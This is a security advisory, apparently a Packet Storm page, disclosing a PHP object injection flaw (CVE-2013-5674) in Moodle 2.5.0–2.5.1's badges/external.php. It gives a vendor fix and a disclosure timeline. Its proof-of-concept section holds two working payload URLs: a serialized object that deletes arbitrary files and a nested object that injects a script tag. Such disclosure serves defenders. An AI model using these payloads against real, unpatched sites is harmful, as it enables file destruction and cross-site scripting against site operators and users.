exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Moodle CMS 2.5.0-1 Cross Site Scripting

Moodle CMS 2.5.0-1 Cross Site Scripting
Posted Sep 16, 2013
Authored by Emilio Pinna

Moodle CMS version 2.5.0-1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | e3ac4ae54569cb79f99f56b55d391649ec34ad904958620a13e84eeeba37dd72

Moodle CMS 2.5.0-1 Cross Site Scripting

Change Mirror Download
=============================================
- Original release date: 15 September, 2013
- Discovered by: Emilio Pinna (Application Security Analyst at Abinsula)
- Contact: emilio # pinn # gmail
=============================================

VULNERABILITY
----------------------
Moodle CMS version 2.5.0-1 is prone to Object Injection vulnerability passing not properly sanitized user-supplied input to the unserialize() PHP function.

Attacker could inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets maliciously. In this application the attacker could delete files and perform a XSS attacks.

DESCRIPTION
----------------------
Affected file badges/external.php unserialize user input in line 35

$json = required_param('badge', PARAM_RAW);
..
$badge = new external_badge(unserialize($json));

PROOF OF CONCEPT
----------------------

- FILE DELETE
The method csv_export_writer::__destruct() in lib/csvlib.class.php:538 can be exploited in order to delete remote file passing the serialized object.

http://localhost/badges/external.php?badge=O:17:"csv_export_writer":1:{s:4:"path";s:27:"/path/of/the/file/to/delete";}

- XSS
The rendered HTML page constructed in the core_badges_renderer::render_external_badge() in badges/renderer.php:375 reflects the two object variable assertion and imageurl, as that can be used as XSS vector.

http://localhost/badges/external.php?badge=O:8:"stdClass":2:{s:8:"imageUrl";s:0:"";s:9:"assertion";O:8:"stdClass":1:{s:5:"badge";O:8:"stdClass":1:{s:6:"issuer";O:8:"stdClass":1:{s:4:"name";s:30:"<script>alert(1);</script><!--";}}}}

SYSTEMS AFFECTED
----------------------
Moodle CMS version 2.5.0 and 2.5.1. Fixed in 2.5.2.

SOLUTION
----------------------
Do not unserialize() user-supplied input, use standard data format as json instead. Moodle users must upgrade to 2.5.2.

CVE REFERENCE
----------------------
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-5674 to the vulnerability

CREDITS
----------------------
Emilio Pinna: emilio # pinn # gmail

REFERENCES
----------------------
https://tracker.moodle.org/browse/MDL-40924
http://disse.cting.org/2013/09/16/moodle-2_5_0_1-badges-external-object-injection/

DISCLOSURE TIMELINE
----------------------
29/Jul/2013: Vendor alerted with MDL-40924 ticket
02/Sep/2013: Released fix commit 2d3c0faef by Yuliya Bozhko
07/Sep/2013: Moodle release 2.5.2
15/Sep/2013: Public disclosure

LEGAL NOTICES
----------------------
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close